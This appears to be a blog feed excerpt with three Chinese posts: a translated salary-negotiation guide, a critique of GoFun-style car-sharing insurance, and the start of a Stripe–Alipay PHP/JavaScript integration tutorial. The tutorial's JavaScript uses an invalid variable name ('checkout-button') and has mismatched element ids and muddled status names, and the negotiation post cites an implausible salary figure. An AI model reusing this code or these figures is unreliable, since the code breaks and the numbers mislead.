并且,你的老板不会恨你。事实上,大多数和你曾经谈过的人当中,也很少会是你日后的老板。招聘和管理部门通常是分开的。哪怕你是在个创业公司,相信我,你的老板会很习惯与候选人进行谈判,但是他对你的重要性不像你对他那么重要。

简而言之:谈判比你相信的更容易也更平常。公司都很愿意和你谈判。如果你的直觉指引了你,那请相信你的心智模式是错误的。

如何第一次说出你的期望薪资

之前我提到了不先报价的重要性。但有时候你就是会管不住嘴。在这个情形下,他们通常会随便给一个数字但其实并不是他们最终想给的数字。

如果公司问你,你的期望薪资是多少?你可能会说:

我实际上没有一个具体的数字,我更在意这个机会对于我们双方都是一个好的选择。如果这个 Offer 有竞争力的话,我很乐意进行协商。

听起来不错。但是他们会怼回去:

我明白,但是我们想很清楚的知道你所谓的有竞争力是啥意思。我需要去知道你提到的是否值得我们继续这个面试流程。我们只是个创业公司,我需要确保我们在薪酬方面的理解是一致的。

怼的很有力,但是你还可以再怼回去:

我完全明白了你的意思,并且我也同意在薪酬方面达成一致是多么的重要。我现在真的没有实际的数字。真的,这取决于我们是否合适以及 Offer 的构成。一旦我们决定想要一起工作,我觉得那会才是我们真正需要去讨论 Offer 构成的最好时机。

大多数雇主会在这里妥协。但有少量可能他们可能会继续:

好吧,看来你很困难。咱们别浪费时间了。你愿意接受什么提议?

这是一个决策点。他们试图夺走你的谈判权,让你过早地做出决定。

就是说,你可能会在这个时候报个数,或者冒着破坏这层信任关系的风险。(他们提出了一个有效的观点,即创业公司不能像大公司一样提供同样的工资,且暗示你也不应该期望他们这么做,且他们可能感觉到你没有意识到这一点)。

但是你可以在这里给出一个数字而不用给出一个准确的数字。

嗯,好的。我知道硅谷的软件工程师平均年薪大概是 120 万。所以我认为这是一个很好的起点。

注意我在这里做了什么。我实际上并没有回答「你愿意接受什么」这个问题,我只是围绕「软件工程师平均工资」的支点来进行讨论。

因此,如果你被迫给出一个数字,那就给一个客观指标,比如行业平均水平(或你目前的薪水)。你需要明确表示你只是开始谈而已,而不是结束谈判。

如何要更多

假设 Offer 已经给你了,且上面已经包含了工资信息,你现在想要的更多。通常来说,直接问你要的数比较好,你可以采取以下步骤

首先,重申你对公司的兴趣。这很简单:

我真的很喜欢贵司在 xx 领域解决的问题,以及 xx…

概述下为何你需要要更多。这里有 2 个选择:你可以说你在犹豫中,但是如果 Offer 的工资更高的话可能会让你接受这个 Offer,或者你强硬一点,说明自己对这个 Offer 完全不满意。你选择哪种方法取决于你有多大的影响力,你的 Offer 相对于你的 BATNA 有多弱,以及你是否有其他的 Offer (你的谈判立场越弱,通常你就越不确定)。

无论用哪种方式,记得有礼貌。

如果你对 offer 不满意,你可能会说:

非常感谢贵司给我发了这个 Offer,但是还有一些点我不是很满意。

如果你想保守一点,你可以说:

你们的 Offer 挺好。现在我的决定基本上是在贵司和 XX 公司之间。这对我来说是一个真正困难的决定,但如果这个工资方面可以得到改善,会有很多方面的影响。

假设你想提高工资。现在你有了一个明确的问题,我们需要称述对应的理由。

陈述所有事实的理由

我们都知道:如果你说你想要更多的薪水,你会听起来很贪婪。没有人喜欢贪婪的人,对吧?那么他们为什么要给一个贪婪的人更多的钱呢?特别是当他们不得不这么做的时候。

我相信这一点是许多候选人退缩的一点,他们不想对外表现得看起来很贪婪,这个和他们的社交属性不符,但是要求更多在某些情况下是完全合理的。

也就是你不得不要求更多的时候。

如果你不得不提高你的工资,不然你就付不起房租,或者如果你不得不通过谈判来支付医疗保险,那么你就不会有任何遗憾。区别呢?你有了一个去提要求的理由。

这对你自己和你的谈判伙伴都是一种冲击。仅仅陈述一个理由 —— 任何理由 —— 让你的请求感觉很人性化,很重要。这不是因为你贪婪,而是你在努力实现你的目标。

你表现的越理智,越不会受到反对,而是获得同情。如果是医疗费用,或者偿还学生贷款,或者照顾家庭,你会让他们感动。我告诉雇主们,我是在为慈善事业捐款,所以自从我把 33% 的收入捐给慈善机构以来,我一直在积极地为自己的生活留出足够的时间。

但说实话,即使你的理由是空洞的,听起来很虚,它仍然会起到这种作用。

如果只是说「请问你们能提高工资吗?」 听起来你就爱钱。但如果你说「我真的想在明年买一栋房子;我们能做些什么来改善薪水呢?」这就很显得合理了。”

如果他们现在拒绝你的要求,相当于他们在含蓄地告诉你 「不,你不能买房子,我猜你不需要。」没有人会蠢到这样做。他们会说「好吧,我和总监谈过了,我们可以提升你的薪资,希望你可以得到那幢新房子!」

当然,他们肯定知道你要更多的钱是为了买更多的东西,不然呢?

去做吧,说明你的原因,你就会发现招聘人员更愿意帮你争取。

维护你的价值

有一个在谈判中很有用的一手,特别是报价之后,就是去强调你可以给公司带来一些特别的东西。比如说:

Blah blah blah 我要介个,介个和那个

我知道你们在找人来帮忙组建 Android team. 我相信我可以给你们带来很多经验,带领工程师做好开发。并且我也相信我可以把我们公司的产品做的比竞品公司好。

你们如何看呢?

要自信,不要自夸,也不要吹一些自己没法掌握的东西(除非你非常自信)。无论你主张什么,都应该是你在之前的讨论中提到过的。但现在可以重复一下,作为一个友善的提醒。这会让他们回忆起,而且也表明了你依然对这个机会积极的态度。

当然这不是在所有场景中都合适,尤其是在初级职位上会很难然给你突出(毕竟你可能并没有什么经验)。但在以后的职业生涯中(或者是更高级别的岗位中),这将是一个非常有价值的促进力。

我们在争取什么?

我们需要不仅被钱所驱动。

注意,这并不是说「如果你看上去不仅被钱驱动,你就可以得到更多的钱」。

对于一家公司来说,只要有人只关心钱那事情就好办多了。在这方面你也没法装。

让你真正被别的因素驱动,但是也要考虑到钱,它应该是你考虑的许多维度中的一个。其他诸如,你会得到多少练习,你的第一个项目是什么,你加入的团队,甚至是你的导师 —— 这些都是你可以并且应该协商的事情。

在所有的这些条件中,薪水可能是最不重要的。你真正看重的是什么?是创造性的。当桌子上不仅仅有蛋糕的时候,不要试图讨价还价。

当然,要谈的好,你需要了解对方的偏好。你想让这个交易对你们俩都更好。

也就是说,我们需要了解公司的价值观,但是怎么去判断呢?嗯,有一些很好的经验法则。

首先,薪水几乎总是最难被用来判断的,原因如下:

  • 必须年复一年地支付,所以它成为了公司长期消耗率的一部分。

  • 薪水几乎总是人们八卦的话题中心,因为付给某人更高的薪水会引起骚乱。

  • 它往往受到薪酬区间的限制,尤其是在大公司。

因此,如果你想要更多的报酬,你应该尽可能的在薪水之外去考虑如何去想。举个例子来说,签字费比薪水要容易得多。签字费的优点是只需要支付一次。它让候选人对加入(因为每个人都喜欢现金)感到兴奋,而这通常不是公开的。

记住,当你长久在公司工作时,你总能得到加薪,但你只有一个点可以得到签字费。

对于一个公司来说,最容易做到的就是股票(如果公司提供股票的话)。公司喜欢给予股票,因为它投资于你的公司,并使你的利益保持一致。它还将公司的一些风险转移给你,减少了现金的消耗。

如果你属于真正的风险中立或者在你的职业生涯早期,那么你一般应该尽可能地假设尽可能多的股票。如果你积极交易现金股票,你可以获得更高的期望值报价(尽管风险较高)。

简要介绍股权

如果你已经很熟悉股票的运作方式,你可以跳过这部分。我要对完全不知情的人说,因为太多的人在评估股票的时候被骗了。

首先,了解有两个完全不同的公司:上市公司和私人公司。

如果公司是公开的(即,它有首次公开募股 (IPO)),并在股票市场上市,然后它的股票就像现金一样好。你通常会被授予 RSUs (限制性股票单位),这是你可以在股票市场上购买的股票。一旦这些股票 (即发行给你),你就可以在股票市场上出售。这就是他们如何变现。

如果公司是私人的,那么事情就会变得复杂得多。对于私人公司来说,大多数时候他们实际上不会发行股票。通常情况下,他们会发行股票期权。期权是预先议定的以冻结价格购买股票的权利。

请注意,当你想要离开公司的时候,如果你有股票,你的生活就会变得很复杂。你可能需要支付一大笔钱来行权 (也就是说,在之前的冻结价格中购买你事先商定的股票,或者冒着失去的风险),但实际上还没有卖出。真正清算你的选择的唯一方法是在公司 IPO 或被收购的时候。而且很多公司都不这么做。

股票的恶作剧

当涉及到股权时,许多公司都会尝试与你玩心理游戏。有几家公司把这些难题抛都给了我。

一种常见的方法是将股票的总价值呈现,而不是突出年化价值,尽管股票行权时间有差别,或超过 5 年,而不是标准 4 的年。

但最令人震惊的事情是公司会告诉你他们股票的价值是多么的牛逼。他们会说:「好吧,我们现在值这么个价格,但按照我们的增长速度,我们将在一年内达到 10x。你看隔壁和我们性质一样的企业目前股价就有 15x, 所以,你的选择的价值是数百万美元!」。不拐弯抹角:这就是 BullShit,想都不要想,直接拒绝。

这就是为什么这个事听起来那么不靠谱了:一个公司的估值是由投资者决定的。这些投资者看到了公司的财务状况和增长率,并以反映公司当前增长率的价格进行投资。换句话说,他们投资的估值已经达到了 10x 的增长率。投资者不是傻瓜。除非你(或你的招聘人员)认为你有公司的投资者不知道的信息,否则你应该相信投资者的眼光。

更不用说公司的名义估值几乎总是由于优先股,债务和生存倾向而膨胀,不过目前我们先忽略它。

因此,如果一家公司给了你这堆垃圾,还击并告诉他们谢谢他们,但你将会以同样的估值来考虑他们的投资者对它的估值。

我的意思是,表现的 OK (且有礼貌)一些。但不要让他们强迫你接受这种垃圾。

工作不是自杀约定。选择一个明智而透明的公司,你会发现自己更有可能得到尊重和照顾。

其他你可以需要的东西

因为如果我不指出其他的事情,我会很遗憾。

搬家费通常来自大公司的单独预算,所以这通常很容易得到。所以去寻找那些对你有特别价值的东西。也许这是为了满足你的通勤费用,要求志愿者或学习时间,参加会议,甚至是慈善捐赠。

在你尝试提起之前,不要认为任何事情都是不可能的。

不过不要要求的很多,不要把整个厨房的水槽都扔在他们身上。如果你带来一连串的改变,谈判很快就会成为雇主的麻烦。尽量让变化简洁。

柔性谈判

招聘人员喜欢试图诱使你提前结束谈判。他们会毫不留情地做这件事。别责怪他们——我感觉他们经常习惯于此。

你需要做的,只是不断地打破他们的预设的方向。在你准备好做出最终决定之前,不要让自己被迫终止谈判。如果你有多个工作机会,这就特别重要,你会让一家公司迫使你取消其他公司的 Offer。公司一直都在这样做,所以我想让你有能力从这些技术中获得巴西柔术的技能。

这里有两种情况你可以打破。这些都是在我的谈判过程中发生的真实情况,尽管数字和细节都是虚构的。

场景 1:

我要求增加签约奖金 10K。公司那边和我说:

这对我们来说真的很难,我要试一试。我认为你是值得的。但我不能就这样去找我的老板和他说你的要求,除非她知道你要签字。如果我给你 10K,你会签字吗?

你应该在想:啊,这个人想逼我做决定,拿走我的谈判权。

我回答说:

好吧,我听到的是,你必须通过个人魅力,才能帮我争取到 10K 奖金。如果你为我争取的话,你有信心能得到那 10K 吗?

HR 表示:

我想我能做到,这只取决于你的态度。如果你真的想加入我们,那我就去为你争取。但我需要确定你会签署。

好极了,柔术时间

这听起来很不错。但是,我还不能承诺签约;我还没有到可以做出最终决定的阶段。就像我之前告诉过你的,这个周末我要和家人一起坐下来好好谈谈。在接下来的几年里,我非常认真的去选择我将要度过的公司是。所以我想确定我做了一个深思熟虑的决定。

但既然你有信心能多得到 10K,我们这么说吧:在我看来,我将假装这个 Offer 是 (X + 10K),因为我正在考虑我的最终决定,这就是我要重视的地方。我知道你很难从你的老板那里得到这个数,所以我不希望你这样做,直到我确定我要签字。

然后他们含糊的去回复,并迅速得到了 10K 奖金的批准。

场景 2:

我要求增加 20% 的股票。招聘经理知道我正在和其他公司谈判,然后他们就说:

我想给答应你这个要求。我知道我能,我们有预算。但在我这么做之前,我需要你的答复。

啥?

我需要你给我一个承诺,即,如果我给你 offer,你不会拿着我们的 Offer 去竞争对手那里谈条件。

你会觉得说:这不就是让我别谈判的讯号么?有意思。

容我三思,你说你愿意给我 Offer,但是我必须同意不会去竞争对手那里说我有 Offer。对吗?

不不不,法律上来讲我不能那么做。我的意思是,我喜欢你,我想给你 Offer, 但是如果你那么做的话,你会让我产生不信任感。

好的,让我明确下我理解你说的话了,如果你给我这个 Offer 然后我告诉了竞争对手,我会违背因为你给了我这个 Offer 的信任,对吗?

看,这么讲吧。我觉得,我会给你股票,然后我会觉得你是个好人,你会考虑我们的 Offer 然后不会到处炫耀。这样公平么?

我点头了。他帮我拿到了更好的 Offer,我继续谈判。尴尬就避免了。

如果你好奇,如果在上面他直接说了「是的」的话,我就会直接拒绝这个 Offer。

签 Offer 之路

仅仅不断地要求东西是不够的。公司需要意识到,你实际上是在最后做决定的路上,而不是在玩他们。

在谈判中,你的目标不是很难,也不是难以捉摸。诚然,你应该坚持你的价值,仔细考虑你的选择,但你可以尊重和会去好好考虑公司的感觉去和对方交流。

开放一点,多沟通一点。我一直说诚实,我的意思是诚实。

旁白:我一直在谈论诚实,你可能会抗议说这与我早先的「保护信息」原则背道而驰。诚然,你应该保护那些可能削弱你谈判立场的信息,但你应该尽可能地与其他事情沟通(也就是除此之外的大多数事情)。

谈判与关系有深深的联系,而沟通则是关系的基石。

我们仅仅是给公司留下你喜欢他们的印象(你一直都应该这样做)。更重要的是,你必须给任何公司一个明确的方式方法来让你签 Offer。不要让他们玩愚蠢的游戏。明确并肯定你的偏好和时间点。

如果公司无论怎么样都不会让你想签 Offer,或者你其实也不想和他们一起工作,那就别谈了,就酱。

不要浪费他们的时间或者只是出于游戏心态和他们接触。即便公司不是很理想,你也至少可以去想象下你能接受的他们可以给你的最低 Offer。如果做不到的话,那就礼貌地拒绝。

面试你并和你谈 Offer 对于公司而言都挺费钱的。我不会和每一个给我 Offer 的公司谈。如果说,在我找工作的过程中有一个失误,那就是我和太多的公司谈判了。(从大的方向上来看,我不认为我找工作很成功)

做最终的决定

好了我们现在需要准备做决定了,是的,你得做一个决定,我们需要时刻明白这三件事情:

  • 清楚你的截止日期
  • 不断的维护你的截止日期
  • 把你最后的决定当做王牌

当你开始谈的时候,你不需要去了解你需要花费多少时间,因为你一个 Offer 都没有。但是如果你进入了节奏,你应该开始给自己设个签约节点了。它可能是出于一个武断的原因(或者根本没有理由),但仅仅是预设一个承诺期限将会让你更清晰有力地进行谈判。

「与家人共度周末」,我觉得这个理由很好,因为它有利于带进其他的决策者。然后,当公司催促你提前结束谈判时,你可以重新确定这个期限。

公司应该完全意识到你何时会做出决定。随着最后期限的临近,这将提高赌注。

截止日期也让你在争取 Offer 的时候推迟你的决定。你的叙述基本上应该是「我想看到你的公司能达到的最强的报价。然后我将进入考虑期,冥想 10 天,当我回过神的时候,我将决定加入哪个公司。」这给了你很大的去避免任何当场做决策或者过早的作出承诺。

最终,截止日还是会到的。把那天设为工作日这样你就可以和 HR 沟通。该发生的事情终归会发生。

即便你只是在和这一家公司谈,你也应该在最后一天签你的 Offer。是的,即使你确信你会签,即使这是你梦寐以求的工作。我看到过很多情况,随着最后期限的临近,你会自发地提高自己的能力,或者在第 11 个小时收到惊喜。不管怎样,都没有坏处。

最后,你的王牌。把这个留到最后。你的王牌就是这些话:

如果你可以做到 X,我就签。

注意,这不是说「如果你给我 X,你的出价会让我值得期待。」别这样,是时候做出一个承诺了。

每一个还在谈判流程中的公司,都要让他们知道签你的代价是什么(除非他们无能为力)。当你做出最后的决定时,不要忘记说明理由,即使是和以前一样的理由!

Hi, Joel, 我咨询的考虑下然后感觉做决定真的挺难的” 我喜欢贵司公司的每一个员工但是你们的薪水真的让我很困惑。你知道我还要付房贷(类似于此)。如果你可以多个 10K,我会完完全全接受这个 Offer 的。

运气好点,他们会答应一般。或者想的更美一些,他们会接受全部。

因为我知道有人会问 —— 是的,一旦说你要签,你就应该永远签。

不要食言。世界很小,人们也会去讨论。你打出去的球最后都会回到你这里。(更重要的是,永远不要食言,因为你是那种从不食言的人。)

告诉所有其他给 Offer 的人你已经做了最后的决定。感谢他们的谈判。如果你做得很好,他们通常会感谢你,告诉你保持联系,并在未来几年内再次和他们接触。

就是这样。你做到了!恭喜你!你还活着,对吗?

… 你居然不感动?

反正是好事。朋友,该庆祝你的新工作了!

]]>
谈谈我对大陆分时租车的理解https://nova.moe/talk-about-car-renting-in-china/Sat, 09 Nov 2019 12:41:26 +0000https://nova.moe/talk-about-car-renting-in-china/随着共享经济的发展,各种东西都开始共享起来了,比如共享汽车,共享单车,共享充电宝,共享女朋友,在之前的文章《那些年我开过的车(们)》 许多介绍的车辆都是来自各大租车机构,不过在租车和自己周边同学租车的过程中还是发现了不少可能大家会忽视的隐患和问题,本文希望可以谈谈自己发现的一些问题,给准备租车或者已经开始租车的同学一些参考(或者警示?)

TL;DR:如果你打算安全地租车,请在正式上路前一定做以下操作:

  1. 仔细阅读相关 APP 的所有条例和细则,对,一个个字慢慢看,虽然看上去比较复杂,但是如果全文看完并理解了的话可以在后期减少不少麻烦。
  2. 确认车险情况,按照大陆法律,所有车辆至少要投保交强险,而对于这个保险来说,最高赔付对方损失的额度只有:物损 2000CNY,人伤 10000CNY,人员死亡 120000CNY。所以一定要额外检查其他保险投保额度。
  3. 加入相关平台的 QQ 群查看大家对于发生交通事故后的处理情况并要做一个基本的了解。

如果上文 TLDR 看完后还是对于租车有兴趣的话,请继续往下阅读~


租车行业本来是被各大租车公司给垄断的日租(月租)行业,比如在国内比较知名的某州租车,但是自从某企业「开启分时租赁」之后,整个行业的格局发生了改变,似乎任何一个公司都可以购买一些质量很差的新能源汽车投入运营,既可以薅到国家的补贴,又可以赚用户便宜,一鱼多吃。然而对于用户而言,价格从之前的每天几百加上各种信用卡预授权变为了现在按照里程和时间计费+支付宝芝麻分免押金,看上去价格和成本都小了很多,也就吸引了很多经济上不是很富有的大学生以及一些车技极差的新司机租车上路,但是表面的低价格其实内在的风险可能反而会很大,具体来说我们可能会遇到以下问题:

  1. 保险保额不足
  2. 保险垫付被租车公司扣押
  3. 违章处理

保险保额不足

这个其实蛮常见的,我们以一个 “比较知名” 的分时租赁机构 GoFun(北京首汽智行科技有限公司)为例:

GoFun出行是首汽集团针对移动出行推出的一款共享汽车产品,依托首汽集团的行业经验和优势资源,致力于整合用户碎片化的用车需求,提供便捷、绿色、快速、经济的出行服务。 GoFun出行是共享行业新兴的一种租车模式,车辆无人值守,用车全程App操作,提供汽车的即取即用、分时租赁服务,消费者可按个人用车需求预订车辆。GoFun出行已相继完成全国80余个城市的布局,其中不乏北京、武汉、成都等一、二线城市,更有西安、青岛、昆明、桂林、三亚等重要旅游地。

如公司介绍所说,他们的产品遍布非常的广泛,所以可能大家都有听说或者使用过,最初 GoFun 的车辆投保的为「交强险」+「5W 额度商业险」,这个时候我们能看到类似这样的一些新闻了:请远离共享租车,别让他夺走你的财产

在这种事情之后,GoFun 对于自己的保险条例进行了升级,比如宣称自己的保险变成了 50 万:gofun三者险50万:gofun基础服务费说明(2019年4月更新)

gofun早期的三者险保障较低只有5万元,一直为用户垢病,现在gofun新的三者险已经提升至50万,该服务已经包含在2元/小时的基础服务费内,整单12元封顶。以下为截止目前最新的gofun三者险官方说明解释,来自app服务条例,供各为gofun用户参考。

我们来看看 GoFun 的 APP 上是如何宣传的(截图于本文发布当天):

赠送全额车损险及50万元三者险,价格将根据用车行为浮动

好的,且不说「三责」变成了「三者」,这里宣传车辆已经投保了「全额车损险」和「50万元三责险」,我们点开看看详情。

这里对于「50万元三责险」的描述是「三者50万的分时险服务」,关于什么是「分时险」,我没有查到,也不确定是否存在,即使有,这里是否具有法律效益,我们也不确定,且在底下签署的文件中,并没有任何关于保险的描述,整个 APP 中唯一对于保险的描述在「平台规则」上,如下:

这里保险是否存在我们可以参考三个来源:

  1. 通过查看车辆右上角贴的标识后的保单号自己致电保险公司查询,不过根据一个朋友的说法来看,对面保险公司的回复是:这个车辆在 XX(非车牌和车辆所在地)投保了交强险,但是没有投保任何其他保险。

  2. 参考一个知乎回答:https://www.zhihu.com/question/264023478/answer/677462769

    Gofun可能虚假宣传,仅给车辆投保交强险。 … 后跟gofun客服电话沟通,让我报保险公司,保险公司告知我该车只有交强险,没有他们宣传的车损险和分时险,随后联系gofun客服,客服让我先支付修车费,并等他们人员再次联系我.

  3. 企业诉讼,例如我们可以参考 2019 年的 杨再国与龚雷、首汽租赁有限责任公司宁波分公司机动车交通事故责任纠纷一审民事判决书,中可以看到商业险只有 5 万元:

    被告龚雷驾驶的浙B×××××号小型轿车所有人为被告首汽宁波分公司,由该公司在被告太平保险宁波分公司投保了交强险,在太平保险北京分公司投保了额度为50000元的商业险。

    … 在使用前该租车软件会显示《GoFun出行分时租赁服务会员协议》的条款,其中包含车辆的保险额度,但未以明显标识表明,

对于新手的一点小解释,假设你开车变道时挂到了正在直行的一辆车(自己全责),没有人员伤亡,自己这边修车需要 3000 CNY,对方修车需要 5000 CNY:

  • 交强险:没有买就不能上路,所以这个是肯定有的,一般来说最高赔付对方损失的额度为:物损 2000CNY,人伤 10000CNY,人员死亡 120000CNY。 注意,是赔付对方损失。
  • 车损险:这个是赔付自己的车损的 80%(如果购买了「车损险的不计免赔」,可以达到 100%),比如在上述案例中自己修车费用的 3000CNY 是由车损险承担,如果没有买的话,完全自己承担。
  • 三责险:和交强险一起赔付对方车损,也就是对方的 5000CNY。

但是如果不慎撞到了人,导致人员死亡的话,从判决书中我们可以看出,在川渝地区赔付金额一般在 60 万左右,这个时候如果三责险只有 5 万的话,那么保险最多帮你赔付:12 万(交强险)+ 5 万(三责险)= 17 万,剩下的 33 万完全由用户本人(也就是你)承担,卖房吧骚年!

保险垫付被租车公司扣押

如果很幸运,你使用的车投保了 100 万的三责险,这个时候在许多的相关的平台规则中就会有如下要求:

一般来说租车公司的说法是只要自己有责任就需要垫付给修理厂或者直接给对应的租车公司,然后等 “保险理赔到账之后返回给用户”,但是真正问题在于:

  1. 用户垫付之后多久之后才会到账?
  2. 用户是否真的有责任垫付?

从一些租车讨论群中我们可以看到类似于如下的对话,要等很久很久才会拿到自己垫付的钱:

类似的,在 GoFun 中也可以看到这样的案例:准备起诉gofun扣押理赔款,有同样遭遇的车主可以联系

本人在成都,7月份发生一起事故,自己垫付了维修理赔款1万多,然后保险公司8月就把理赔款打给gofun,gofun至今没有划给本人,也没有任何解释,微信客服几乎出于不回复的状态。现在准备到法院起诉gofun,有同样遭遇的车主可以联系我。百度给我私信,一起维权!

所以这个也是一个很大的需要考虑的点。

违章处理

这里请直接参考我的好友 Keshane 的一系列文章感受一下:

总结

租车上路前一定要一个个字阅读/理解保险条文,并在上路前核对车辆的真实保险信息,我知道对于新司机来说开车上路非常 Exciting,但是如果保险不达标的话,还是理智地选择放弃这个平台,不然后患真的很大。

还有,如果车技的确不行的话…建议上路的时候找一个老司机带着,可以提供许多驾校没有教你的实际道路驾驶技巧,而且如果自家有车的话,还是尽量使用自家的车,不要抱有用租的车练手的天真想法,因为一旦出事了,这个账是记在那儿的,带来的损失远远比修自家车大的多。

]]>
在 PHP 应用中整合 Stripe 并接受支付宝付款https://nova.moe/integrate-stripe-to-php-application-with-alipay-payment/Thu, 31 Oct 2019 19:10:57 +0000https://nova.moe/integrate-stripe-to-php-application-with-alipay-payment/

除了生病和亲朋离世的痛苦是真实的外,其余世间所有痛苦都是价值观带来的。

最近在某超级大佬的帮助下有机会接触到 Stripe 的工作流程,事情很简单,对于优秀的服务,我们应该付出使用他们的成本(这样他们可以继续提供优质的服务),对于商户来说收钱就是一个比较有意思的部分了,鉴于大多数网友都是付钱,本文决定分享一下 Stripe 整合支付宝来收钱的方法,且本文不是网上很多出现的那种引用 checkout.js 的过期的方法(许多人都互相转来转去,看了一圈下来都是这个),而是使用 Stripe.js 来完成。

Stripe 目前收款方式有两种,简单来说,我们分为 Easy 难度和 Hard 难度,前者只支持信用卡,储蓄卡和 Apple Pay,而后者则支持多种支付方式,Stripe 支持的支付方式一览表如下:

FLOWS PAYMENT METHODS WITH PAYMENT INTENTS API TOKENS OR SOURCES WITH CHARGES API
CARDS Supported Supported on Tokens Not recommended on Sources
DYNAMIC 3D SECURE Supported Not supported
CARD PRESENT Supported Not supported
ALIPAY Planned Supported
ACH DEBIT Planned Supported on Tokens Not supported on Sources
ACH CREDIT TRANSFER Planned Beta
BANCONTACT Planned Supported
EPS Planned Beta
GIROPAY Planned Supported
IDEAL Planned Supported
MULTIBANCO Planned Beta
PRZELEWY24 Planned Beta
SEPA DIRECT DEBIT Planned Supported
SOFORT Planned Supported
WECHAT PAY Planned Beta

Easy 模式——使用 「Checkout」

Easy 模式即使用他们写好的页面,被称为「Checkout」,对于商户来说需要在后台定义好产品(Products),生成 sku 后写一个按钮触发脚本自动跳转过去,页面上需要写的内容如下:

<!-- Load Stripe.js on your website. -->
<script src="https://js.stripe.com/v3"></script>

<!-- Create a button that your customers click to complete their purchase. Customize the styling to suit your branding. -->
<button
  style="background-color:#6772E5;color:#FFF;padding:8px 12px;border:0;border-radius:4px;font-size:1em"
  id="checkout-button-sku_xxxxxxxxxxx"
  role="link"
>
  Checkout
</button>

<div id="error-message"></div>

<script>
(function() {
  var stripe = Stripe('pk_test_xxxxxxxxxxxx');

  var checkoutButton = document.getElementById('checkout-button-sku_G40GQYkIX4a8c4');
  checkoutButton.addEventListener('click', function () {
    // When the customer clicks on the button, redirect
    // them to Checkout.
    stripe.redirectToCheckout({
      items: [{sku: 'sku_xxxxxxxxxxx', quantity: 1}],

      // Do not rely on the redirect to the successUrl for fulfilling
      // purchases, customers may not always reach the success_url after
      // a successful payment.
      // Instead use one of the strategies described in
      // https://stripe.com/docs/payments/checkout/fulfillment
      successUrl: 'https://xxx.xxx.xx/success',
      cancelUrl: 'https://xxx.xxx.xx/canceled',
    })
    .then(function (result) {
      if (result.error) {
        // If `redirectToCheckout` fails due to a browser or network
        // error, display the localized error message to your customer.
        var displayError = document.getElementById('error-message');
        displayError.textContent = result.error.message;
      }
    });
  });
})();
</script>

这样在用户点了按钮之后就会出现一个 Stripe 的支付页面:

这样就可以用了,用户在付款完成之后就会跳转回到 successUrl,同时 Stripe 可以给你预先定义好的接口(WebHook)发一个 POST 请求告知,大致逻辑如下(其实官方有示范):

 \Stripe\Stripe::setApiKey('sk_test_xxxxxxxxxxxxxx');

// You can find your endpoint's secret in your webhook settings
$endpoint_secret = 'whsec_xxxxxxxxxxxxxxx';

$payload = @file_get_contents('php://input');
$sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];
$event = null;

try {
    $event = \Stripe\Webhook::constructEvent(
        $payload, $sig_header, $endpoint_secret
    );
} catch(\UnexpectedValueException $e) {
    // Invalid payload
    http_response_code(400);
    exit();
} catch(\Stripe\Exception\SignatureVerificationException $e) {
    // Invalid signature
    http_response_code(400);
    exit();
}

// Handle the checkout.session.completed event
if ($event->type == 'checkout.session.completed') {
    $session = $event->data->object;
    // 授权用户
    $target_customer = \Stripe\Customer::retrieve($session['customer']);
    $target_email = $target_customer['email'];
    // 然后这里自己根据 email 找到对应用户完成接下来的步骤,比如把文件通过邮件发给用户,给用户头像加个 Buff 啥的~
}

这样就可以获取到用户的信息并且给用户提供/升级服务了,很方便是不是?

不过呢,「Checkout」只支持卡和 Apple Pay,对于喜欢见到付钱就想扫一扫的用户来说并不友好,所以我们需要使用一些别的方法。

Hard 模式——使用「STRIPE ELEMENTS」

为了照顾没有信用卡,遇见码就开始掏手机准备打开或绿或蓝应用准备开始扫一扫的用户来说,我们需要加入支付宝的支持功能。

首先确认你的账户中 Alipay 是连接上并且处于激活状态的,没有这一点等于没戏(也就不用继续往下看了)。

如果你的 Stripe 已经连接上了支付宝,接下来我们就可以开始整合了。

首先我们明白一下对于商户来说,逻辑是怎么样的:

首先由于 Stripe 并不是原生支持支付宝,所以所有这种非信用卡交易都被挂了称为「Source」的东西下,可以理解为一个插件或者一个临时的钱包,以下一段是具体的逻辑,请仔细阅读:

当用户需要付款的时候,用户会先通过 JS 创建一个 「Source」对象,并指定类型为「Alipay」,这个时候 Stripe.js 会带领用户去支付宝的付款页面进行支付,如果付款成功了,那么这个「Source」的状态会从 charge.pending 变成 source.chargeable ,可以理解为用户给临时钱包付了钱,在有了这个状态之后我们可以调用 Stripe 对这个 Source 扣款(Charge),把临时钱包的钱扣到自己 Stripe 账户上,然后就完成了付款的过程。

用户逻辑

我们先来看用户的逻辑部分:

用户的逻辑是,在对应的购买页面上应该有一个 Button,上面写上「立即购买」,这样用户只要一摸那个按钮,就可以看到支付宝的付款页面了,为了满足这个需要,我们需要这么做,在对应的页面上放个 Button:

<button id="checkout-button">
    立即购买
</button>

然后引用 stripe.js 并写一点 JS 来完成接下来的事情:

<script src="https://js.stripe.com/v3/"></script>
<script type="text/javascript">
    (function() {
      var stripe = Stripe('pk_xxxxxxxxxxxxxx');

      var checkout-button = document.getElementById('checkout-button');

      checkout-button.addEventListener('click', function () {
        stripe.createSource({
          type: 'alipay',
          amount: 1988,
          currency: 'hkd',
          // 这里你需要渲染出一些用户的信息,不然后期没法知道是谁在付钱
          owner: {
            email: '{$user_email}',
          },
          redirect: {
            return_url: 'https://xxx.xxx.xx/buy',
          },
        }).then(function(result) {
          window.location.replace(result.source.redirect.url);
        });
      });

    })();
</script>

其中,ownerowner 下的 email 建议填写,不然付款后可能不好找到究竟是哪个用户付了钱,如果正巧你们不用 email 来标识用户,那也可以写点别的,对于 owner 来说有以下字段可供选择:

  "owner": {
    "address": null,
    "email": "jenny.rosen@example.com",
    "name": null,
    "phone": null,
    "verified_address": null,
    "verified_email": null,
    "verified_name": null,
    "verified_phone": null
  },

此外,如果你还希望在 Source 中包含一些其他的内容的话,可以自由地使用 metadata ,并在内部包含一系列键值对。由于 createSource 执行完成后会返回一个包含 Source 对象,类似如下:

{
  "id": "src_16xhynE8WzK49JbAs9M21jaR",
  "object": "source",
  "amount": 1099,
  "client_secret": "src_client_secret_UfwvW2WHpZ0s3QEn9g5x7waU",
  "created": 1445277809,
  "currency": "usd",
  "flow": "redirect",
  "livemode": true,
  "owner": {
    "address": null,
    "email": null,
    "name": "null",
    "phone": null,
    "verified_address": null,
    "verified_email": null,
    "verified_name": "null",
    "verified_phone": null
  },
  "redirect": {
    "return_url": "https://shop.example.com/crtA6B28E1",
    "status": "pending",
    "url": "https://hooks.stripe.com/redirect/src_16xhynE8WzK49JbAs9M21jaR?client_secret=src_client_secret_UfwvW2WHpZ0s3QEn9g5x7waU"
  },
